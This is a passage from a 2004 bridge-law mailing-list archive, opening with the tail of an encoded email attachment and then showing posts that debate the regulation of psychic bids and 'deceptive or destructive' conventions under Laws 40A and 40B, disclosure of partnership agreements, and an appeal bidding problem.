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 GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/ sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7 fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0006_0000006E.00005B5F-- From schoderb@msn.com Thu Jul 29 22:44:22 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Thu, 29 Jul 2004 17:44:22 -0400 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> <000001c474ec$6c5cc720$970ae150@multivisionoem> Message-ID: snip (Grattan) > On this subject I have two chief concerns. The one is > that since the WBFLC has allowed, for as long as I have > been a member, that the power to regulate conventions > is unrestricted and in particular not subject to the condition > "not in conflict with" in Law 80F, I do not think any of us > should suggest this is not the law as it is - to do so is to > challenge the constitutional power of the corporate > WBFLC to interpret the laws. The other is that we should > remain pragmatic in creating expectations for the future; > however 'right' you and Kojak are in your philosophy we > do have to face the unlikelihood that the WBFLC will alter > its message from what it has been and tell the WBF > Executive, plus the Zonal Authorities in Europe and North > America, that their respective regulations are 'illegal'. I > think we could expect short shrift if we did. So we may > rail as much as we like about subterfuges and stretching the > language, but in my judgement this is something on which > those who do not like it will have to bite the bullet. In > the real world it is an act of futility to sit below the > waterline and tell the incoming tide not to rise. Let us > apply our energies and skills to something more useful. > ~ Grattan ~ +=+ > I too have concerns. I have no philsophy that even remotely resembles your implication that I need to bite the bullet. I have bitten the bullet for 31 years in WBF, of which I served 18 as Chief TD, and I have bitten the bullet in ACBL for considerably longer than that. I don't "sit below the water line and tell the incoming tide not to rise." I am fully aware of the WBFLC, ACBLLC, CAC, Southamerican Federation, etc., postions on these matters. However, I do not take the position of placating and satisfying those who have relied on my advice and performance, when I think they have a better mousetrap available than the one they've been using. My military service and professional approach as a TD have never been other than to vigorously present and defend my ideas in the appropriate milieu and then "get on the horse and ride" to the best of my ability when a decision is made --whether I like it or not. Your characterization is not only wrong and unfair, but could be construed as a cheap shot. We are working on a review of the Laws, and as has been the case with reviews since 1975, I remain concerned that they are sometimes conflicting, interpreted to serve purposes that were not INTENDED by the present wording, and need to be cleared up. If the Law is that you may NOT make psychic calls in certain situations, so be it, state it, and remove 40A which clearly conflicts with that. Don't continue to hide behind interpretations of 40D -- "Regulation of Conventions" -- you well know that the words ".....the use of....." was not referring to psychic calls, and that 40A was specific to psyches(sic). I remember painful exercises in trying to find a place in the Laws to do what the Executives (plural intended) wanted. For example, the argument that Law 80F does not apply to 80E (Geneva 1990) was a compromise at best, so that neither Edgar or I would be seen as "wrong.". Or, settling on "could have known at the time...." to protect the organizations and TDs from law suits. That's what I mean when I write the words subterfuge and stretching the language. Provide the "superior body" lucid, cogent, clear expression for what they want, and they are not forced into excursions which open them to legitimate criticism. That, my friend, is my concept of doing the job. Should that kind of loyalty and performance subject me to dismissal, so be it, my conscience is clear. My record as CTD of WBF for 15 years, CTD of CAC for 25 years, a National TD of ACBL for 25 years, along with many, many other Zonal and NBO Championships throughout the world, looks to me like the superior bodies have been satisfied with my approach. Somehow "dismissal" never entered my mind, nor was my loyalty questioned. I'm certain the Ton can speak for himself, and probably will, but my schoolboy days were in the distant past where I learned about authorities, powers, and the realities of organizational perquisites. Your plea is unnecessary for me -- my energies and skills are focused on the task at hand. I may not strike you as pragmatic, but at least there is little doubt as to where I stand. further snip from other posting follows. Grattan: Yes, my friend, and not material. I would think it probable that the Executive has appointed a more or less competent group on some occasion in the last twenty odd years of satisfaction with the interpretation in question. But as I was pointing out, the power of dismissal ensures that the superior body will determine the policy. ~ G ~ +=+ The threat of dismissal for disagreement is disturbing. Vassals don't serve the common good. To disagree, to attempt to convince, and then to work hard to implement the decisions of a "superior body" is a measure of integrity. We've been together in enough meetings for you to know that waiting to see which way the wind is blowing before expressing my opinion is not for me. Kojak From richard.hills@immi.gov.au Thu Jul 29 23:30:57 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 08:30:57 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Herman De Wael asked: [snip] >So when I next needed to call something, I >simply relied on the "Squeeze" standard. He >relied on the "Riviera" standard, and then we >shared the fool's hope that these standards >were the same. > >Now how do we, as directors, decide whether >these two individuals knew or did not know >that the two standards were in fact the same? [snip] Richard Hills answers: 1. An assumption (or fool's hope) by *one* player is neither practically nor Lawfully equivalent to a *mutual* agreement of both partners. 2. The possibility that a subsequent Law 85 ruling may determine that a player's actual truth is deemed not to be Lawful truth, is no reason for that player to save time by lying. 3. Self-serving subjective evidence is still evidence; it merely should have a lower weighting in the balancing of the scales of justice than objective evidence. 4. In most cases (other than large national or international championships), a TD is well aware of the history of their customers, so has plenty of historical evidence to use in assessing a Law 85 ruling on the veracity of self-serving evidence about a partnership agreement (or non-agreement). Best wishes RJH From richard.hills@immi.gov.au Thu Jul 29 23:48:28 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 08:48:28 +1000 Subject: [blml] Deceiving and destroying Message-ID: Jim Hudson: >I see no tension between 40B and 75A, and I >certainly don't see how 40B can bear the >interpretation that players have the right to >play whatever convention they choose. (Is >that how you're interpreting it? If not, I >have quite missed your point.) [snip] Richard Hills: Again, I apologise for my characteristic flaw of Kaplanesque over-succinctness. My point was that *if* a pair are playing a legal convention, and *if* also the sponsoring organisation has an inadequate regulatory environment for disclosure of legal conventions (as, for example, the EBU does), *then* a villainous pair can evade their Law 75A duties by hiding behind the Law 40B phrase "discloses the use of such call or play in accordance with the regulations of the sponsoring organisation". My secondary point was that the EBU's solution to the problem of their inadequate regulatory environment was Heath-Robinsonish. Rather than sensibly introducing an Aussie-style Pre-Alert regulation, the EBU decided to ban otherwise legal conventions which had no technical merit. Best wishes RJH From richard.hills@immi.gov.au Fri Jul 30 00:02:34 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 09:02:34 +1000 Subject: [blml] Deceiving and destroying Message-ID: Jim Hudson: >The rule can say: "You can play only *these* >conventions, . . . ." (List, or general >specification, follows.) That will automatically >exclude the so-called "deceptive" or "destructive" >conventions. A rule against deceptive/destructive >conventions is *quite superfluous*. Richard Hills: I disagree that Jim's concept of a defined list or specification would solve the problem. Either: (a) the list will be interminably long, which will be exploited by deceptive villains (they adopt convention number 42, double-barrelled Stayman; but everyone else expects that their alert pertains to convention number 1, transfer to hearts) or (b) the list will be unacceptably short, preventing many innocent players from adopting their favourite conventions. Best wishes RJH From richard.hills@immi.gov.au Fri Jul 30 00:15:58 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 09:15:58 +1000 Subject: [blml] Tuesday night at the Belconnen Labor Club Message-ID: Jean-Pierre Rocafort: [snip] >I think your description was quite extensive. >One may add the whole semi-pro's biography, maybe. Richard Hills: I know Symmetric Relay, English Acol, and the Ghestem pox; In my comment'ry on casebooks I've a pretty taste for paradox, I quote in elegiacs all revokes of Heliogabalus, When claiming I can state peculiarities parabolous; I can tell undoubted squeezes from pseudo-squeeze epiphanies, I know the croaking chorus from the Frogs of Aristophanes! Then I can hum a ruling of which I've heard the players panic for, And whistle all the airs from that infernal book Kaplanic Law. Chorus: And whistle all the airs from that infernal book Kaplanic Law, While waiting for the airs from that infernal book Grattanic Law Next year the airs from that infernal book Grattaaaaaaaanic Law. Richard Hills: Then I can write on appeal forms in Babylonic cuneiform, And cite the inconsistencies of exegeses scarce uniform: In short, in casebook comment'ry, and as proof-reading editor, I am the very model of a modern bridge competitor. Best wishes RJH From hermandw@hdw.be Fri Jul 30 00:25:02 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 30 Jul 2004 01:25:02 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: Message-ID: <4109874E.40801@hdw.be> richard.hills@immi.gov.au wrote: > > > > Herman De Wael asked: > > [snip] > > >>So when I next needed to call something, I >>simply relied on the "Squeeze" standard. He >>relied on the "Riviera" standard, and then we >>shared the fool's hope that these standards >>were the same. >> >>Now how do we, as directors, decide whether >>these two individuals knew or did not know >>that the two standards were in fact the same? > > > [snip] > > Richard Hills answers: > > 1. An assumption (or fool's hope) by *one* > player is neither practically nor Lawfully > equivalent to a *mutual* agreement of both > partners. > Yes it is. Or at least the bases on which the hope rest are. And who says only actual "mutual" agreements are disclosable anyway? > 2. The possibility that a subsequent Law 85 > ruling may determine that a player's actual > truth is deemed not to be Lawful truth, is no > reason for that player to save time by lying. > But he need not lie! And I'm not being dragged into the mine-field again that claiming that some agreement is more solid than it actually is, is lying. Or that such lying is in any way or form negative to the game. > 3. Self-serving subjective evidence is still > evidence; it merely should have a lower > weighting in the balancing of the scales of > justice than objective evidence. > Indeed. So here are two players who have the same idea about some bid, and they say "but we had absolutely no idea what it meant", and such self-serving evidence carries any weight? > 4. In most cases (other than large national > or international championships), a TD is well > aware of the history of their customers, so > has plenty of historical evidence to use in > assessing a Law 85 ruling on the veracity of > self-serving evidence about a partnership > agreement (or non-agreement). > I agree. But we're not talking known customers here. We're talking relative un-strangers in strange territory. Me and my Antwerp partner in another town. The point I am trying to make is that it is not good if people who have some idea keep saying "no idea" and claim that this is full disclosure. You seem to argue that this is OK. I can't believe that that is what you are actually saying. > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From richard.hills@immi.gov.au Fri Jul 30 00:45:12 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 09:45:12 +1000 Subject: [blml] 2003 EBU casebook, appeal 4 Message-ID: Herman De Wael: >The point I am trying to make is that it is not >good if people who have some idea keep saying "no >idea" and claim that this is full disclosure. Richard Hills: I fully agree with you that implicit partnership agreements should be disclosed. Herman De Wael: >You seem to argue that this is OK. I can't >believe that that is what you are actually saying. Richard Hills: No, I am objecting to what you are apparently saying, which apparently is either: (a) there is no such thing as a non-agreement, with every call of every partnership being based on an explicit or implicit partnership agreement, or (b) there may be rare non-agreements, but a player should not say "undiscussed", because a properly trained Hermanish TD will rule "implicit agreement" anyway pursuant to Law 85. Best wishes RJH From grandeval@vejez.fsnet.co.uk Fri Jul 30 01:22:54 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Fri, 30 Jul 2004 01:22:54 +0100 Subject: [blml] Deceiving and destroying References: <009401c47307$1f45a600$0401010a@Desktop> <001101c47367$cfe84cf0$0dca403e@multivisionoem> <003f01c473b8$d6934950$dec487d9@yourtkrv58tbs0> <009601c4747a$a8338f80$1280b6d4@LNV> <00a801c4748e$5c1d2b10$558c87d9@yourtkrv58tbs0> <004701c474b7$bef57110$0d80b6d4@LNV> <000001c474ec$6c5cc720$970ae150@multivisionoem> Message-ID: <003a01c475cb$80a00c80$dd9b4c51@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "Professional men, they have no cares, Whatever happens, they get theirs." [Ogden Nash] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: "WILLIAM SCHODER" To: "blml" ; "Endicott Grattan" Sent: Thursday, July 29, 2004 10:44 PM Subject: Re: [blml] Deceiving and destroying > > > The threat of dismissal for disagreement is disturbing. > +=+ Oh, I haven't heard any such threat. Have you? On the other hand I do not need to be reminded where the power lies or where the decision will be made what powers these bodies are to have. ~ Grattan ~ +=+ From richard.hills@immi.gov.au Fri Jul 30 01:47:19 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 10:47:19 +1000 Subject: [blml] Deceiving and destroying Message-ID: Kojak: >>>The threat of dismissal for disagreement is disturbing. Grattan Endicott: >>+=+ Oh, I haven't heard any such threat. Have you? >>On the other hand I do not need to be reminded where >>the power lies or where the decision will be made >>what powers these bodies are to have. >> ~ Grattan ~ +=+ Hilaire Belloc: >The accursed power which stands on Privilege >(And goes with Women, and Champagne, and Bridge) >Broke - and Democracy resumed her reign: >(Which goes with Bridge, and Women and Champagne) Richard Hills: It seems that Jose Damiani (foolishly) thinks that he holds the accursed power. But it ain't so. The actuality of power in Contract Bridge is distributed amongst thousands of little old ladies throughout the world. If the World Contract Bridge President Jose Damiani uses his merely notional accursed power to outlaw misbids in 2006, then he will become as irrelevant as the current World Auction Bridge President (whoever they might be), because those little old ladies will switch to playing bingo. Best wishes RJH From richard.hills@immi.gov.au Fri Jul 30 01:58:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 10:58:07 +1000 Subject: [blml] Deceiving and destroying Message-ID: Frances Hinden: [snip] >I am aware of a pair who >a) play double as non-lead-directing of all cuebids >b) do not alert every pass of a cuebids > >which strikes me as of dubious legality, but at least >they have to alert the double whereas a normal lead- >directing double doesn't have to be alerted. [snip] Richard Hills: In my opinion, that pair's failure to alert passes of cuebids is not merely "dubious", but rather a total infraction of the EBU alert rules. Orange Book, clause 5.2.1(c): >>You must alert a call if it is natural, but its >>meaning is affected by other agreements which your >>opponents are unlikely to expect. Richard Hills: But, in my opinion, that pair's (properly alerted) idea to use an Undouble convention should not fall foul of the EBU "designed solely to deceive" regulation. A variant of this Undouble convention was invented by Meckwell, for circumstances when one of them had the option of doubling a cuebid of their previous overcall. Their logic was: (x) pard will normally lead your overcalled suit, so a lead-directing double is superfluous, and (y) a Meckwell often overcalls with tatty suit-quality, so a lead-undirecting double is useful. Best wishes RJH From TG0JLH1@wpo.cso.niu.edu Fri Jul 30 03:06:39 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Thu, 29 Jul 2004 21:06:39 -0500 Subject: [blml] Deceiving and destroying Message-ID: Richard Hills: Again, I apologise for my characteristic flaw of Kaplanesque over-succinctness. My point was that *if* a pair are playing a legal convention, and *if* also the sponsoring organisation has an inadequate regulatory environment for disclosure of legal conventions (as, for example, the EBU does), *then* a villainous pair can evade their Law 75A duties by hiding behind the Law 40B phrase "discloses the use of such call or play in accordance with the regulations of the sponsoring organisation". --------------- James Hudson: Law 40B does not say one may play any convention provided one complies with the sponsoring organization's disclosure regulations. It says one may *not* play any convention if one does *not* comply with those regulations. It is a (conditional) prohibition, not a (conditional) permission. From richard.hills@immi.gov.au Fri Jul 30 03:05:27 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 12:05:27 +1000 Subject: [blml] Reno NABC+ appeal number ten Message-ID: Mixed Pairs Dlr: North Vul: North-South The bidding has gone: WEST NORTH EAST SOUTH --- Pass Pass 3NT(1) Pass 4C(2) Pass ? (1) 25-27 hcp, balanced (2) Undiscussed You, South, hold: AQ765 AK7 AK AQ4 What call do you make? What other calls do you consider making? Best wishes Richard Hills From TG0JLH1@wpo.cso.niu.edu Fri Jul 30 03:38:34 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Thu, 29 Jul 2004 21:38:34 -0500 Subject: [blml] Deceiving and destroying Message-ID: --------------- James Hudson: Law 40B does not say one may play any convention provided one complies with the sponsoring organization's disclosure regulations. It says one may *not* play any convention if one does *not* comply with those regulations. It is a (conditional) prohibition, not a (conditional) permission. ------------------- Further thought: Law 40C gives the director very broad powers to adjust adversely any good results achieved through not informing one's opponents of the meanings of one's bids, *regardless of any regulations by the sponsoring organization*. From TG0JLH1@wpo.cso.niu.edu Fri Jul 30 03:58:34 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Thu, 29 Jul 2004 21:58:34 -0500 Subject: [blml] Reno NABC+ appeal number ten Message-ID: >>> 7/29/2004 9:05:27 PM >>> Mixed Pairs Dlr: North Vul: North-South The bidding has gone: WEST NORTH EAST SOUTH --- Pass Pass 3NT(1) Pass 4C(2) Pass ? (1) 25-27 hcp, balanced (2) Undiscussed You, South, hold: AQ765 AK7 AK AQ4 What call do you make? What other calls do you consider making? Best wishes Richard Hills --------------------------- In the absence of an agreement about the meaning of 4C I would take it as Stayman, and bid 4S. But the write-up of this case, skimpy and vague as it is, strongly suggests that the 4C bid was, by partnership agreement, *natural*. Accordingly I would want to suggest a grand slam, while offering partner a choice between clubs and notrump. My bid: 5NT. I would consider 5C, 6C and 6NT, and even 7C. A control-bid would be pointless. Jim Hudson From wayne.burrows@xtra.co.nz Fri Jul 30 04:16:54 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 30 Jul 2004 15:16:54 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <004901c474b7$bf8ccf10$0d80b6d4@LNV> Message-ID: <005701c475e3$aa94c900$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Thursday, 29 July 2004 3:30 a.m. > To: gesta@tiscali.co.uk; blml > Subject: Re: [blml] Deceiving and destroying > > > > > > > > > > My history may be "flawed" but I was a TD (club level > > > to be sure) in 1955, and became an ACBL TD in 1960. > > > I stand by my comments, that using 40D to prohibit > > > what is specifically allowed by 40A is a subterfuge and > > > stretch of language logic > > > > > > The bridge world knows for years that I have the same opinion. > > And I consider the answer Grattan gives as beside the point. > Nobody wants to > accuse anybody of lack of integrity or ignoble motivations. Why do you > suggest that? The question is that I support people who say > that L40A does > clearly say that psyches can't be regulated. It is against > the principle > idea of the psyche to regulate it. > > Which leaves us with the problem that the use of psyches by > some people > makes it impossible not to have a weapon against that use. > > I have told it before: in '87 during the EC championships I > was called at a > table where an Italian pair had psyched the 1C-opening and > the 1D answer. > This was the second round in the first session of the open > pairs (board 3). > I took a paper (A4) and wrote with big letters (WE PSYCHE > VERY OFTEN) and I > ordered this pair to show this paper to every opponent at the > start of a > round. (I was the chief TD in that event). > > The problem was solved, but I wait for the reproachful words > from Wayne. I was thinking about another post and I realized that this is contrary for L40A. "A player may make any call or play (including an intentionally misleading call - such as a psychic bid - or a call or play that departs from commonly accepted, or previously announced, use of a convention), without prior announcement, provided that such call or play is not based on a partnership understanding." Paraphrased this states that 'A player may make a psychic bid without prior announcement'. Wayne Burrows From richard.hills@immi.gov.au Fri Jul 30 04:27:28 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 13:27:28 +1000 Subject: [blml] Reno NABC+ appeal number ten Message-ID: >>>Mixed Pairs >>>Dlr: North >>>Vul: North-South >>> >>>The bidding has gone: >>> >>>WEST NORTH EAST SOUTH >>>--- Pass Pass 3NT(1) >>>Pass 4C(2) Pass ? >>> >>>(1) 25-27 hcp, balanced >>>(2) Undiscussed >>> >>>You, South, hold: >>> >>>AQ765 >>>AK7 >>>AK >>>AQ4 Jim Hudson: [snip] >>the write-up of this case, skimpy and vague as >>it is, strongly suggests that the 4C bid was, by >>partnership agreement, *natural*. [snip] The Decision: >The committee considered, in the absence of any >other agreement, that 4C would be clubs and >forcing. [snip] Richard Hills: In my opinion, the committee argued that there was *not* a partnership agreement about the meaning of 4C, and so merely ruled what a *logical* guess by opener would be, pursuant to their partnership *non*-agreement. So, the point of my posting was to ask whether guessing "clubs and forcing" was: (a) a logical alternative? or (b) an illogical alternative? And, if (b) was the case, what other guesses were logical alternatives? Best wishes RJH From richard.hills@immi.gov.au Fri Jul 30 04:45:09 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 13:45:09 +1000 Subject: [blml] Deceiving and destroying Message-ID: Jim Hudson: >>Law 40B does not say one may play any convention >>provided one complies with the sponsoring >>organization's disclosure regulations. It says >>one may *not* play any convention if one does >>*not* comply with those regulations. It is a >>(conditional) prohibition, not a (conditional) >>permission. Law 40B: >A player may not make a call or play based on a >special partnership understanding unless an >opposing pair may reasonably be expected to >understand its meaning, or unless his side >discloses the use of such call or play in >accordance with the regulations of the sponsoring >organisation. Richard Hills: As a Socratic question, I ask what a statement with a matrix of "A player may not ... unless ..." means? Does it mean that the general prohibition of "not" is cancelled by the specific exceptions commencing with "unless"? Jim Hudson: >>Further thought: Law 40C gives the director >>very broad powers to adjust adversely any good >>results achieved through not informing one's >>opponents of the meanings of one's bids, >>*regardless of any regulations by the sponsoring >>organization*. Richard Hills: As a Socratic question, I ask whether a single general Law should be read in isolation from a specific Law limiting the powers of a TD? Law 81B2: >The Director is bound by these Laws **and by >supplementary regulations announced by the sponsoring >organisation**. Best wishes RJH From richard.hills@immi.gov.au Fri Jul 30 05:00:37 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 30 Jul 2004 14:00:37 +1000 Subject: [blml] Deceiving and destroying Message-ID: Wayne Burrows: >I was thinking about another post and I realized that this is >contrary for L40A. > >"A player may make any call or play (including an intentionally >misleading call - such as a psychic bid - or a call or play that >departs from commonly accepted, or previously announced, use >of a convention), without prior announcement, provided that >such call or play is not based on a partnership understanding." > >Paraphrased this states that 'A player may make a psychic bid >without prior announcement'. Richard Hills: Some years ago, the gafiated David Burn correctly noted that Law 40A was not written in English. Therefore, any paraphrase of Law 40A is as invalid as dividing by zero, *unless* the paraphrasing body is the WBF Laws Committee or a Zonal Authority or a National Authority. Best wishes RJH From TG0JLH1@wpo.cso.niu.edu Fri 